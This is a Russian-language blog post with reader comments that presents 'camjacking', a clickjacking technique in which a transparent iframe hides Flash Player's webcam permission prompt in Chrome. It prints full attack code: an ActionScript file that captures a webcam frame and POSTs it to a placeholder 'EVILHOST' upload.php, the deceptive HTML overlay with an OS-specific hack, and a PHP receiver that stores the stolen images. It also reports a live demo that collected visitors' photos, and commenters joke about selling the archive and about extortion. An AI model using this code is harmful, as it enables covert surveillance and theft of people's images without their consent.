Camjacking, как эволюция Clickjacking, или «Гюльчатай! Открой личико!»



    В данном посте, я попытался изложить суть новой атаки (сама атака не нова, но позвольте называть это так). Баг свойственен для ОС Windows 7,8, Mac OS X. Также нам понадобится Google Chrome, ну и Flash. Топик будет касаться идеи о тотальной слежке, особенно популярной в последние дни.
    Интересно? Прошу под кат.

    Шла обычная ночь, и как полагается, я ковырялся в коде. Уже и не вспомню в каком, но ночь сыграла свою роль. Вы никогда не задумывались: можно ли скрыть сообщение безопасности Flash Player'а, когда флеш файл пытается получить доступ к веб-камере или микрофону? Как водится, подобные мысли приходят спонтанно, но почему бы не попытаться совершить то, что так странно забрело в твою голову? Вот и я подумал так же.

    Написав простую страницу с opacity и флеш контейнером (флеш запрашивал доступ к веб-камере), было замечено, что Firefox 21, Opera 12.15 или игнорируют прозрачность флеш анимации, либо просто некорректно обрабатывают. А вот IE 10 и Chrome 27.0.1453.110 прекрасно обрабатывали прозрачность и давали разместить поверх себя текст и/или картинку. Что, несомненно, пошло бы наруку веб дизайнерам. Но оставаться на достигнутом было просто не интересно, и я начал копать глубже, взяв за идею Clickjacking атаку, но переделав ее под свои нужды, т.е заимствовать все «полезные» для атакующего функции.

    Я выбрал доступ к веб-камере( конечно, еще мы можем получить доступ к микрофону, но так ли это было важно тогда?)
    Итак, я написал простую флешку, делающую снимок с помощью веб камеры и отправляющая ее на сервер.
    Я не являюсь специалистом в ActionScript, так что если у вас буду нарекания, готов сделать поправки в коде.

    package{
    	import flash.display.BitmapData;
        import flash.display.Sprite;
        import flash.media.Camera;
        import flash.media.Video;
    	import flash.net.*;
    	import flash.utils.ByteArray;
    	import flash.events.*;
    	public class Main extends Sprite
        {   
            private var cam:Camera;
            private var video:Video;
    		private var bitmapdata:BitmapData;
    		private var ba:ByteArray;
    		private var url:URLRequest = new URLRequest("http://EVILHOST/upload.php"); //Сайт с upload.php ( о нём ниже)
    		private var wclose:URLRequest = new URLRequest("javascript:alert('Camjacked? Ok. |fil9{06.2013}|');");
    		private var loader : URLLoader = new URLLoader(); 
    		public function Main():void {
                run();
            }
    
            private function run():void
            {
    	     cam = Camera.getCamera();
    		 if(cam != null){ //Если камера есть
    			 cam.addEventListener(ActivityEvent.ACTIVITY, activityHandler);
    			 video = new Video(640, 480);
    		     cam.setMode(640, 480, 60); //60 fps
                 video.attachCamera(cam);
    		 }
    			}
    			 private function activityHandler(event:ActivityEvent):void { //Пользователь "разрешил" доступ
    		    bitmapdata = new BitmapData(video.width, video.height);
                bitmapdata.draw(video);
    			ba = PNGEncoder.encode(bitmapdata); //Adobe PNGEncoder
    			url.method = URLRequestMethod.POST;
    			url.data = ba;
    			loader.addEventListener(Event.COMPLETE, on_complete); 
    			loader.load(url);  //Отправляем картинку
    			function on_complete(e : Event):void {  
    				navigateToURL(wclose, '_self'); //Выводим Alert
    				}
                cam.removeEventListener(ActivityEvent.ACTIVITY, activityHandler);
    			}
        }
    }
    


    Взять PNGEncoder.
    FlashDevelop проект тут

    К сожалению, после проведения дополнительных тестов, было выявлено, что IE не дает взаимодействовать с полупрозрачным элементом, т.е нельзя кликнуть в диалоговом окне.
    Так как у меня Windows 8, то тесты под ней прошли на ура, однако, на Windows 7 диалоговое окно исчезало( при opacity: 0) только после того, как флешку «выделяли» мышкой. Но и для этой беды был найден свой «Dirty hack» (о чём позже). Который предполагал отказ от текста поверх флешки, и накладывания поверх флешки картинки.

    Имеем:

    1) swf.html:

    <html>
    <body>
    <object width="270" height="270">
    <param name="movie" value="camjack.swf">
    <embed src="camjack.swf" width="270" height="270">
    </embed>
    </object>
    </body>
    </html>
    


    2) index.html:

    <html>
    <head>	
    <script>
    var exit=function(){document.location='about:blank'}; //Что не страница, дак чистый лист
    var tryimages=function(){ //easy hack. Включены ли изображения?
    return (document.getElementById('imgenabled').height==1&&document.getElementById('imgenabled').width==1)};
    var load=function(){
    //Картинки запрещены к показу; Не Chrome, Windows 7, Windows 8
    if((!tryimages()) || (navigator.userAgent.indexOf('Chrome') == -1)/* || ((navigator.userAgent.indexOf('Windows NT 6.1') == -1) & (navigator.userAgent.indexOf('Windows NT 6.2') == -1))*/)  //Проверка ОС временно отключена
    { exit() };
    //Windows 7 Chrome hack
    if(navigator.userAgent.indexOf('Windows NT 6.1') != -1){ //DIRTY HACK (Windows 7) - Разрешение "мигнёт". экспериментально. нестабильно.
    setInterval("document.getElementById('ifr').height=1;document.getElementById('ifr').height=291",300);
    setInterval("document.getElementById('ifr').width=1;document.getElementById('ifr').width=291",350);
    setTimeout("document.getElementById('img').width=291",1000);
    setTimeout("document.getElementById('img').height=291",1070); //Разница 70мс
    }};
    </script>
    <title>Camjacking simple example</title>
    <style>
    iframe { 
      position: absolute;
      opacity: 0.0;
      z-index: 1;
    };
    </style>
    </head>
    <body onload='load()'>
    <!-- PNG 1x1 -->
    <img id='imgenabled' style='display:none' src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAAAAMSURBVBhXY/j//z8ABf4C/qc1gYQAAAAASUVORK5CYII='></img>
    <iframe id='ifr' src='./swf.html' width='290' height='290'></iframe>
    <img id='img' src='./img.jpg' width='290' height='290'></img>
    </body>
    </html>
    


    3) img.jpg тут

    4) upload.php:

    <?php
    $imgdata = file_get_contents('php://input');  //input raw POST data
    $length = 10;
    $randomString = substr(str_shuffle("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, $length);
    $imgname = "./images/".$randomString.".png";
    if($imgdata){
    file_put_contents($imgname, $imgdata);  //PHP5
    };
    ?>
    


    5) camjack.swf собрать самим.

    6) $mkdir ./images

    Все это положить, с любовью, в корень сайта. Да, и не забудьте положить crossdomain.xml в корень сайта с upload.php

    После всех танцев, в Windows 8 все выглядело очень даже ничего (opacity: 0.5):



    Запустил небольшой сайт-пример (спасибо korowkin). Если чего не заведется, ну или заведется, прошу отписаться. Проверил всего на паре компьютеров. Не сильно больно и уверен в работоспособности описанного выше.

    Пример онлайн: http://*/*

    Просмотр снимков онлайн: http://*/*

    Всем спасибо, тесты завершены.

    Ну и два видео с работой кода.

    Windows 7:

    http://www.youtube.com/watch?v=hQj6bqTAXKQ

    Windows 8:

    http://www.youtube.com/watch?v=vuTd481N6Os

    P.S (На правах автора. Можно не читать) : Тут так получилось, что после школы еду поступать в культурную столицу нашей необъятной родины. В честь чего пишу следующее: если вам нужен высококлассный аудит вашего проекта, могу предложить вам свои услуги. Контакты в профиле.

    UPD: Гугл выпустил обновление.

    Have a nice day!
    Поделиться публикацией
    Комментарии 85
      +2
      Добавьте в опрос «Другая ОС». Mac, последний хром, все отлично работает.
        0
        Хм, мой скрипт пропускает пользователей не с Windows NT?
        Спасибо, буду думать и сейчас добавлю графу
          0
          Да. У меня тоже Mac, и скрипт сработал, правда со второго раза.
            0
            Я отключил проверку на ОС. Так что начнет лидировать пункт «Нет (Другая ОС)».
            Мои тесты успешно проходили на Win 8. C Win 7 как-то странно это работает. А до других ОС руки так и не добрались.
              0
              Подтверждаю, потребовалась пара кликов, чтобы активировать камеру (MAC, Chrome). Но на маке операция в любом случае получается заметная, рядом с камерой включается яркий зеленый диод=)
                0
                Не только на Маке. Светодиод предусмотрен на многих моделях компьютеров. Ну заставить пользователя сделать пару кликов несложно, так что можно считать, что на Мак тоже прошел тест.
          0
          При нажатии на «Yes» включается камера, вылезает окошко, где можно нажать «ОК», после нажатия — фотка в списке не появляется, и камера выключается только после закрытия сайта (Win7, последний Chrome)
          P.S: нельзя сделать, чтобы в окне подтверждения еще выводилось бы имя будущего файла? А то может быть мои фотки — это либо черный фон, либо заставка Cyperlink, я то не знаю :)
            +3
            Да, мои фотки оказались заставками CyperLink)

            Кстати, отдельное спасибо за сайт, интересно посмотреть на хабраюзеров)
            0
            del
              0
              Браво! Отличная фотка!)))
                +8
                Бинарным поиском выяснил, что на маке нельзя нажать на кнопку allow или deny, пока opacity меньше 0.8039216.
                  +1
                  Что-то подобное и в IE. Надо глянуть на досуге.
                    +1
                    Это число похоже на 205/255. Видимо, opacity представляется 8-битным значением (от 0 до 255), и в качестве порога выбрано значение 205.
                    +1
                    В частности из-за таких фокусов у меня:
                    — В опере по умолчанию отключены все плагины
                    — На вебкамере ноутбука имеется механическая шторка + светодиод уведомляющий об её использовании
                      +1
                      Я просто камеру отключил, как устройство. Всё равно не используется.
                        +3
                        А я скажу спасибо Asus за отличную камеру, которая заботится о приватности обладателей ноутбуков модели N61jv. Просто с некоторых пор камера не желает работать ни с какими драйверами/софтом. При этом отлично определяется системой, но постоянно занята одному ей известному приложением.
                          0
                          а это у вас драйвер не родной
                            +17
                            Это просто asus постоянно следит за вами. Вы главное не переживайте (:
                            0
                            А я камеру просто не покупал.
                            0
                            Светодиод загорается уже по факту использования, после фотографии. Там можно его сразу же потушить, никто не заметит.
                              0
                              Шторка микрофон тоже прикрывает?
                              +9
                              Ваша цель собрать коллекцию голых мужиков? Вы её достигли :)
                                +10
                                Хм, а я вот что только видел :)

                                  +4
                                  Вам попался несовершеннолетний голый мужик и DPI его заменил на котика. Привыкайте
                                    +5
                                    На фотке очень мужской взгляд. Думаю, это и есть мужик, только молодой еще.
                                    +4
                                    Взгляд напоминает Кюбея.
                                  +1
                                  Ubuntu 13.04, Ей-ей, если б не режущий глаза синий светодиод — нерадостно бы стало.
                                    +4
                                    Linux Chromium 27.0.1453.93 (200836)

                                    Не фурычит-с прозрачность-с
                                      0
                                      Аналогичный результат, Chrome 27.0.1453.110 m, Windows 7.
                                        0
                                        Следствие малого количества тестов. Но хоть у кого-то работает, так что можно говорить о факте наличия бага и частичной опасности для пользователей.
                                      0
                                      Chromium 25.0.1364.160 Ubuntu 13.04
                                      У меня так-то «разрешить» через раз нажимается (видимо вследствие глюка флеша для бубунты)…
                                      Тут не прокатывает )
                                        +1
                                        При включении веб-камеры на ноутбуке, у меня, всегда загорается рядом с ней синий диод, что очень полезно и не вызывает сомнений.
                                        Скрипт в хроме работает. Если бы не диод, не заметил бы, что камера включалась. Опасный вы человек однако )
                                          0
                                          Нет эффекту 27.0.1453.110 m, Windows 7x64
                                          P.S. Фотки и правда презабавные бывают ;)
                                            +2
                                            Есть предположение, что человек в ванной комнате.
                                            habrastorage.org/storage2/5ef/c4e/70c/5efc4e70c6887add0fe4c177bb072f71.png

                                            Хабражещина
                                            habrastorage.org/storage2/229/a51/0bd/229a510bd7c2befa332cb0f96b768fec.png
                                              +1
                                              Сейчас там вообще полный Chatroulette…
                                                +2
                                                на первой фото это очевидно туалет
                                                +16
                                                ну все теперь цитату с баша можно воплощать в реальность )

                                                — Мишаня купил бесплатный порносайт с высокой посещаемостью. И повесил скрипт, который показывал уходящему посетителю сообщение: «Мы только что записали видеоролик с вашей веб-камеры. Если вы не хотите, чтобы этот ролик выложили на YouTube, отправьте SMS…»
                                                — Бл**…
                                                — Я видел статистику — за первые сутки больше 200 оплат в час. Так что не надо говорить: «Всё занято, уже нет бизнес-идей…»
                                                  0
                                                  Ubuntu, последний хром. Сработало с первого раза, правда после себя не убрало (не вырубило камеру ноута), пока не закрыл вкладку. Вообще задумка супер, очень круто.

                                                  PS. Кто ищет своё фото, оно в самаом конце списка отображается. =)
                                                    0
                                                    Об этом как-то и не думалось. Но конечно, если за вами будут поглядывать, то, конечно, камеру отключат. Камера нужна мс на 300.
                                                    Произойдет снимок, камера отключится, и данные уйдут.
                                                  • НЛО прилетело и опубликовало эту надпись здесь
                                                      +3
                                                      Ваше сообщение несло смысл меньше 20 минут. Перезаливайте компромат на habrastorage.
                                                      0
                                                      Вы бы осторожнее, а то есть злые люди — сфоткают пипиську младенца, а потом в роскомнадзор пожалуются, дескать, распространяете-с.
                                                      • НЛО прилетело и опубликовало эту надпись здесь
                                                        +2
                                                        Продам полный архив снимков, дорого, без смс!
                                                          +2
                                                          Начнем аукцион
                                                            0
                                                            у меня больше =)
                                                              +1
                                                              Oh, RLY?
                                                                0
                                                                Дожили: меримся количеством фотографий Хабрачитателей с вебок :)
                                                                  0
                                                                  Реально!

                                                                  Правое нижнее фото — что-то страшное…
                                                                    0
                                                                    Сейчас самые топовые фотки — черный квадрат и фото ладошки.
                                                                      0
                                                                      Еще была серия тролдфейсов.
                                                                        0
                                                                        Ночью пару троллфесов проскакивали.
                                                                          +2
                                                                          малая толика
                                                            +1
                                                            Chrome, Mac OS X — эксплойт работает.
                                                              +4
                                                              Спасибо за вычисление процента девушек на хабре.
                                                                +1
                                                                Результаты уж больно удручают.
                                                                +1
                                                                Последствие в виде фоток хабраюзеров — это восторг конечно! )))

                                                                Теперь отчетец:

                                                                Archlinux, Openbox, композитинг включен.

                                                                Chromium 27.0.1453.110 (Developer Build 202711) — диалога с запросом разрешения не видно, но после нажатия YES ничего не происходит.
                                                                Firefox Aurora 23.0a2 (2013-05-28) — НЕ РАБОТАЕТ, видно диалог!
                                                                Opera/9.80 (X11; Linux x86_64; Edition Next; Arch Linux) Presto/2.12.388 Version/12.15 — НЕ РАБОТАЕТ, видно диалог.

                                                                Ради интереса таки ткнул «разрешить» в Опере, пополнил собой паноптикум)
                                                                  0
                                                                  Да, на Опере и Огнелисе видно диалог (интересно, почему?). А не работает, в ряде случаев, из-за того, что «Yes» сползает с кнопки.
                                                                  0
                                                                  Версия 27.0.1453.110 m, Win8

                                                                  Хром показывает значок видеокамеры в углу после нажатия Allow, возле значка «Избранное» и иконок расширений. Правда, это не помогает, так как снимок уже сделан)
                                                                    0
                                                                    В Опере Некст на Блинке, кстати, прозрачность не работает.
                                                                      +1
                                                                      document.body.innerHTML=document.body.innerHTML.replace(/<a href=/g,"<img src=")
                                                                        –2
                                                                        Windows 7, попробовал воспользоваться экспойтом, и он включил камеру. Затем начал изучать как отключить такую возможность для флеша. В итоге заходим на www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager02.html (панелька Global Privacy Settings panel) и переключаем в always deny. После попробовал еще раз — камера не включилась
                                                                          +1
                                                                          Друг мой, а вы не думаете, что подменив флешку щелкающую вас, на флешку настройки приватности флеш, можно включить allow all?
                                                                          Это не решение. Я уже это обыграл.
                                                                            0
                                                                            как всё сложно. flashblock / noscript спасут мир.
                                                                            0
                                                                            fil9, я тут подумал… Надо клуб анонимных знакомств запиливать «узнай себя по фото». В потоке няши начали прибывать, а сопоставить с ником никак нельзя :)
                                                                              0
                                                                              Не факт, что няши — Хабражители :)
                                                                                0
                                                                                Няши, скорее всего, из ВК.
                                                                                  0
                                                                                  fake webcam? heh… Вроде не похоже. Тогда все совсем со статистикой грустно.
                                                                                  Тогда просьба к няшам фотографироваться с пруф-листочком
                                                                                    0
                                                                                    Там сериями фоткаются. Разве что нарезку из chatroulette кто-то вставляет.
                                                                                  +1
                                                                                  Видимо, уже пофиксили.
                                                                                    0
                                                                                    У меня, вроде-как, работает.
                                                                                    0
                                                                                    В php срипте сделайте проверку на входящие данные. Они могут быть и пустыми. Т.е. простым GET запросом можно насоздовать Вам огромное количество изображений.
                                                                                      0
                                                                                      Да, знаю.
                                                                                      0
                                                                                      Да этож новый аттракцион!
                                                                                        0
                                                                                        А у меня ни флеша, ни вебкамеры. Печалька :(
                                                                                          0
                                                                                          Оно работает! А у меня даже нет камеры.
                                                                                            +2
                                                                                            Тем временем страсти накаляются:

                                                                                              0
                                                                                              Вы все еще создаете мега-архив?)
                                                                                                0
                                                                                                конечно
                                                                                                  0
                                                                                                  А можно спросить, зачем?
                                                                                                    0
                                                                                                    Сделаю себе фотообои в комнате, календарь, плакат, майку. В общем буду зарабатывать как могу!
                                                                                                      0
                                                                                                      Достойная идея :)
                                                                                              +1
                                                                                              хром под линуксом на планшете сработал… правда с задней камерой, а не фронтальной ))
                                                                                                0
                                                                                                Спасибо, интересно)
                                                                                                +1
                                                                                                Хром, мак. Работает, но с двумя кликами.

                                                                                                Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                                                                                Самое читаемое